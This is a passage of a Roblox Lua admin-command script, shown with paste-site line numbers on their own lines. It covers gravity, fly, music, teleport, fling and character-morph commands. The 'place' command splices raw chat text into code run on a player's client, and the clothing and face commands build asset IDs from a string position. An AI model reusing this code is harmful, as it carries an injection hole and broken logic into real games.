1112
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1113
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1114
end
1115
end
1116
end
1117
end))
1118
end
1119
end
1120
 
1121
if msg:lower():sub(1,12) == "removetools " then
1122
local plrz = GetPlr(plr, msg:lower():sub(13))
1123
for i, v in pairs(plrz) do
1124
coroutine.resume(coroutine.create(function()
1125
if v and v.Character and v:findFirstChild("Backpack") then
1126
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1127
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1128
end
1129
end))
1130
end
1131
end
1132
 
1133
if msg:lower():sub(1,5) == "rank " then
1134
local chk1 = msg:lower():sub(6):find(" ") + 5
1135
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1136
for i, v in pairs(plrz) do
1137
coroutine.resume(coroutine.create(function()
1138
if v and v:IsInGroup(msg:sub(chk1+1)) then
1139
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1140
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1141
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1142
end
1143
end))
1144
end
1145
end
1146
 
1147
if msg:lower():sub(1,7) == "damage " then
1148
local chk1 = msg:lower():sub(8):find(" ") + 7
1149
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1150
for i, v in pairs(plrz) do
1151
coroutine.resume(coroutine.create(function()
1152
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1153
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1154
end
1155
end))
1156
end
1157
end
1158
 
1159
if msg:lower():sub(1,5) == "grav " then
1160
local plrz = GetPlr(plr, msg:lower():sub(6))
1161
for i, v in pairs(plrz) do
1162
coroutine.resume(coroutine.create(function()
1163
if v and v.Character and v.Character:findFirstChild("Torso") then
1164
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1165
end
1166
end))
1167
end
1168
end
1169
 
1170
if msg:lower():sub(1,8) == "setgrav " then
1171
local chk1 = msg:lower():sub(9):find(" ") + 8
1172
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1173
for i, v in pairs(plrz) do
1174
coroutine.resume(coroutine.create(function()
1175
if v and v.Character and v.Character:findFirstChild("Torso") then
1176
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1177
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1178
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1179
end
1180
end))
1181
end
1182
end
1183
 
1184
if msg:lower():sub(1,7) == "nograv " then
1185
local plrz = GetPlr(plr, msg:lower():sub(8))
1186
for i, v in pairs(plrz) do
1187
coroutine.resume(coroutine.create(function()
1188
if v and v.Character and v.Character:findFirstChild("Torso") then
1189
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1190
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1191
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1192
end
1193
end))
1194
end
1195
end
1196
 
1197
if msg:lower():sub(1,7) == "health " then
1198
local chk1 = msg:lower():sub(8):find(" ") + 7
1199
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1200
for i, v in pairs(plrz) do
1201
coroutine.resume(coroutine.create(function()
1202
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1203
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1204
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1205
end
1206
end))
1207
end
1208
end
1209
 
1210
if msg:lower():sub(1,6) == "speed " then
1211
local chk1 = msg:lower():sub(7):find(" ") + 6
1212
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1213
for i, v in pairs(plrz) do
1214
coroutine.resume(coroutine.create(function()
1215
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1216
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1217
end
1218
end))
1219
end
1220
end
1221
 
1222
if msg:lower():sub(1,5) == "team " then
1223
local chk1 = msg:lower():sub(6):find(" ") + 5
1224
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1225
for i, v in pairs(plrz) do
1226
coroutine.resume(coroutine.create(function()
1227
if v and game:findFirstChild("Teams") then
1228
for a, tm in pairs(game.Teams:children()) do
1229
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1230
end
1231
end
1232
end))
1233
end
1234
end
1235
 
1236
if msg:lower():sub(1,6) == "place " then
1237
local chk1 = msg:lower():sub(7):find(" ") + 6
1238
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1239
for i, v in pairs(plrz) do
1240
coroutine.resume(coroutine.create(function()
1241
if v and v:findFirstChild("PlayerGui") then
1242
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1243
end
1244
end))
1245
end
1246
end
1247
 
1248
if msg:lower():sub(1,3) == "tp " then
1249
local chk1 = msg:lower():sub(4):find(" ") + 3
1250
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1251
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1252
for i, v in pairs(plrz) do
1253
coroutine.resume(coroutine.create(function()
1254
for i2, v2 in pairs(plrz2) do
1255
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1256
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1257
end
1258
end
1259
end))
1260
end
1261
end
1262
 
1263
if msg:lower():sub(1,7) == "change " then
1264
local chk1 = msg:lower():sub(8):find(" ") + 7
1265
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1266
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1267
for i, v in pairs(plrz) do
1268
coroutine.resume(coroutine.create(function()
1269
if v and v:findFirstChild("leaderstats") then
1270
for a, st in pairs(v.leaderstats:children()) do
1271
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1272
end
1273
end
1274
end))
1275
end
1276
end
1277
 
1278
if msg:lower():sub(1,6) == "shirt " then
1279
local chk1 = msg:lower():sub(7):find(" ") + 6
1280
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1281
for i, v in pairs(plrz) do
1282
coroutine.resume(coroutine.create(function()
1283
if v and v.Character then
1284
for i,v in pairs(v.Character:children()) do
1285
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1286
end
1287
end
1288
end))
1289
end
1290
end
1291
 
1292
if msg:lower():sub(1,6) == "pants " then
1293
local chk1 = msg:lower():sub(7):find(" ") + 6
1294
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1295
for i, v in pairs(plrz) do
1296
coroutine.resume(coroutine.create(function()
1297
if v and v.Character then
1298
for i,v in pairs(v.Character:children()) do
1299
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1300
end
1301
end
1302
end))
1303
end
1304
end
1305
 
1306
if msg:lower():sub(1,5) == "face " then
1307
local chk1 = msg:lower():sub(6):find(" ") + 5
1308
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1309
for i, v in pairs(plrz) do
1310
coroutine.resume(coroutine.create(function()
1311
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
1312
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1313
end
1314
end))
1315
end
1316
end
1317
 
1318
------------------
1319
-- Fun Commands --
1320
------------------
1321
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1322
       
1323
if msg:lower():sub(1,8) == "swagify " then
1324
local plrz = GetPlr(plr, msg:lower():sub(9))
1325
for i, v in pairs(plrz) do
1326
coroutine.resume(coroutine.create(function()
1327
if v and v.Character then
1328
for i,v in pairs(v.Character:children()) do
1329
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1330
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1331
end
1332
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1333
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1334
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1335
local torso = plr.Character.Torso
1336
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1337
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1338
p.Size = Vector3.new(.2,.2,.2)
1339
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1340
local motor1 = Instance.new("Motor", p)
1341
motor1.Part0 = p
1342
motor1.Part1 = torso
1343
motor1.MaxVelocity = .01
1344
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1345
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1346
local wave = false
1347
repeat wait(1/44)
1348
local ang = 0.1
1349
local oldmag = torso.Velocity.magnitude
1350
local mv = .002
1351
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1352
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1353
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1354
motor1.DesiredAngle = -ang
1355
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1356
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1357
if torso.Velocity.magnitude < .1 then wait(.1) end
1358
until not p or p.Parent ~= torso.Parent
1359
script:Destroy()
1360
]] cl.Parent = v.PlayerGui cl.Disabled = false
1361
end
1362
end))
1363
end
1364
end
1365
 
1366
if msg:lower():sub(1,6) == "music " then
1367
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1368
local id = msg:sub(7)
1369
local pitch = 1
1370
if tostring(id):lower():find("caramell") then id = 2303479 end
1371
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1372
if tostring(id):find("rick") then id = 2027611 end
1373
if tostring(id):find("halo") then id = 1034065  end
1374
if tostring(id):find("pokemon") then id = 1372261 end
1375
if tostring(id):find("cursed") then id = 1372257 end
1376
if tostring(id):find("extreme") then id = 11420933 end
1377
if tostring(id):find("awaken") then id = 27697277 end
1378
if tostring(id):find("alone") then id = 27697392 end
1379
if tostring(id):find("mario") then id = 1280470 end
1380
if tostring(id):find("choir") then id = 1372258 end
1381
if tostring(id):find("chrono") then id = 1280463 end
1382
if tostring(id):find("dotr") then id = 11420922 end
1383
if tostring(id):find("entertain") then id = 27697267 end
1384
if tostring(id):find("fantasy") then id = 1280473 end
1385
if tostring(id):find("final") then id = 1280414 end
1386
if tostring(id):find("emblem") then id = 1372259 end
1387
if tostring(id):find("flight") then id = 27697719 end
1388
if tostring(id):find("banjo") then id = 27697298 end
1389
if tostring(id):find("gothic") then id = 27697743 end
1390
if tostring(id):find("hiphop") then id = 27697735 end
1391
if tostring(id):find("intro") then id = 27697707 end
1392
if tostring(id):find("mule") then id = 1077604 end
1393
if tostring(id):find("film") then id = 27697713 end
1394
if tostring(id):find("nezz") then id = 8610025 end
1395
if tostring(id):find("angel") then id = 1372260 end
1396
if tostring(id):find("resist") then id = 27697234 end
1397
if tostring(id):find("schala") then id = 5985787 end
1398
if tostring(id):find("organ") then id = 11231513 end
1399
if tostring(id):find("tunnel") then id = 9650822 end
1400
if tostring(id):find("spanish") then id = 5982975 end
1401
if tostring(id):find("venom") then id = 1372262 end
1402
if tostring(id):find("wind") then id = 1015394 end
1403
if tostring(id):find("guitar") then id = 5986151 end
1404
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1405
end
1406
 
1407
if msg:lower() == "stopmusic" then
1408
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1409
end
1410
 
1411
if msg:lower() == "musiclist" then
1412
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1413
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1414
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1415
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1416
end
1417
 
1418
if msg:lower():sub(1,4) == "fly " then
1419
local plrz = GetPlr(plr, msg:lower():sub(5))
1420
for i, v in pairs(plrz) do
1421
coroutine.resume(coroutine.create(function()
1422
if v and v:findFirstChild("PlayerGui") then
1423
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
1424
cl.Parent = v.PlayerGui cl.Disabled = false
1425
end
1426
end))
1427
end
1428
end
1429
 
1430
if msg:lower():sub(1,6) == "unfly " then
1431
local plrz = GetPlr(plr, msg:lower():sub(7))
1432
for i, v in pairs(plrz) do
1433
coroutine.resume(coroutine.create(function()
1434
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1435
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1436
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1437
wait(.1) v.Character.Humanoid.PlatformStand = false
1438
end
1439
end))
1440
end
1441
end
1442
 
1443
if msg:lower() == "disco" then
1444
for i, v in pairs(lobjs) do v:Destroy() end
1445
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1446
game.Lighting.Ambient = color
1447
game.Lighting.FogColor = color
1448
until nil]]
1449
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1450
end
1451
 
1452
if msg:lower() == "flash" then
1453
for i, v in pairs(lobjs) do v:Destroy() end
1454
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
1455
game.Lighting.Ambient = Color3.new(1,1,1)
1456
game.Lighting.FogColor = Color3.new(1,1,1)
1457
game.Lighting.Brightness = 1
1458
game.Lighting.TimeOfDay = 14
1459
wait(.1)
1460
game.Lighting.Ambient = Color3.new(0,0,0)
1461
game.Lighting.FogColor = Color3.new(0,0,0)
1462
game.Lighting.Brightness = 0
1463
game.Lighting.TimeOfDay = 0
1464
until nil]]
1465
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1466
end
1467
 
1468
if msg:lower():sub(1,5) == "spin " then
1469
local plrz = GetPlr(plr, msg:lower():sub(6))
1470
for i, v in pairs(plrz) do
1471
coroutine.resume(coroutine.create(function()
1472
if v and v.Character and v.Character:findFirstChild("Torso") then
1473
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1474
local torso = v.Character:findFirstChild("Torso")
1475
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1476
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1477
until not bg or bg.Parent ~= torso
1478
end
1479
end))
1480
end
1481
end
1482
 
1483
if msg:lower():sub(1,7) == "unspin " then
1484
local plrz = GetPlr(plr, msg:lower():sub(8))
1485
for i, v in pairs(plrz) do
1486
coroutine.resume(coroutine.create(function()
1487
if v and v.Character and v.Character:findFirstChild("Torso") then
1488
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1489
end
1490
end))
1491
end
1492
end
1493
 
1494
if msg:lower():sub(1,4) == "dog " then
1495
local plrz = GetPlr(plr, msg:lower():sub(5))
1496
for i, v in pairs(plrz) do
1497
coroutine.resume(coroutine.create(function()
1498
if v and v.Character and v.Character:findFirstChild("Torso") then
1499
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1500
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1501
v.Character.Torso.Transparency = 1
1502
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1503
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1504
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1505
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1506
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1507
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1508
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1509
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1510
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1511
end
1512
end))
1513
end
1514
end
1515
 
1516
if msg:lower():sub(1,6) == "undog " then
1517
local plrz = GetPlr(plr, msg:lower():sub(7))
1518
for i, v in pairs(plrz) do
1519
coroutine.resume(coroutine.create(function()
1520
if v and v.Character and v.Character:findFirstChild("Torso") then
1521
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1522
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1523
v.Character.Torso.Transparency = 0
1524
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1525
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1526
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1527
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1528
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1529
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1530
end
1531
end))
1532
end
1533
end
1534
 
1535
if msg:lower():sub(1,8) == "creeper " then
1536
local plrz = GetPlr(plr, msg:lower():sub(9))
1537
for i, v in pairs(plrz) do
1538
coroutine.resume(coroutine.create(function()
1539
if v and v.Character and v.Character:findFirstChild("Torso") then
1540
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1541
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1542
v.Character.Torso.Transparency = 0
1543
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1544
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1545
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1546
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1547
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1548
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1549
end
1550
end))
1551
end
1552
end
1553
 
1554
if msg:lower():sub(1,10) == "uncreeper " then
1555
local plrz = GetPlr(plr, msg:lower():sub(11))
1556
for i, v in pairs(plrz) do
1557
coroutine.resume(coroutine.create(function()
1558
if v and v.Character and v.Character:findFirstChild("Torso") then
1559
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1560
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1561
v.Character.Torso.Transparency = 0
1562
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1563
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1564
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1565
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1566
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1567
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1568
end
1569
end))
1570
end
1571
end
1572
 
1573
if msg:lower():sub(1,8) == "bighead " then
1574
local plrz = GetPlr(plr, msg:lower():sub(9))
1575
for i, v in pairs(plrz) do
1576
coroutine.resume(coroutine.create(function()
1577
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1578
end))
1579
end
1580
end
1581
 
1582
if msg:lower():sub(1,9) == "minihead " then
1583
local plrz = GetPlr(plr, msg:lower():sub(10))
1584
for i, v in pairs(plrz) do
1585
coroutine.resume(coroutine.create(function()
1586
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1587
end))
1588
end
1589
end
1590
 
1591
if msg:lower():sub(1,6) == "fling " then
1592
local plrz = GetPlr(plr, msg:lower():sub(7))
1593
for i, v in pairs(plrz) do
1594
coroutine.resume(coroutine.create(function()
1595
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1596
local xran local zran
1597
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1598
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1599
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1600
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1601
end
1602
end))
1603
end
1604
end
1605
 
1606
if msg:lower():sub(1,8) == "seizure " then
1607
local plrz = GetPlr(plr, msg:lower():sub(9))
1608
for i, v in pairs(plrz) do
1609
coroutine.resume(coroutine.create(function()
1610
if v and v.Character then
1611
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
1612
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1613
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1614
end
1615
end))
1616
end
1617
end
1618
 
1619
if msg:lower():sub(1,10) == "unseizure " then
1620
local plrz = GetPlr(plr, msg:lower():sub(11))
1621
for i, v in pairs(plrz) do
1622
coroutine.resume(coroutine.create(function()
1623
if v and v.Character then
1624
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1625
wait(.1) v.Character.Humanoid.PlatformStand = false
1626
end
1627
end))
1628
end
1629
end
1630
 
1631
if msg:lower():sub(1,12) == "removelimbs " then
1632
local plrz = GetPlr(plr, msg:lower():sub(13))
1633
for i, v in pairs(plrz) do
1634
coroutine.resume(coroutine.create(function()
1635
if v and v.Character then
1636
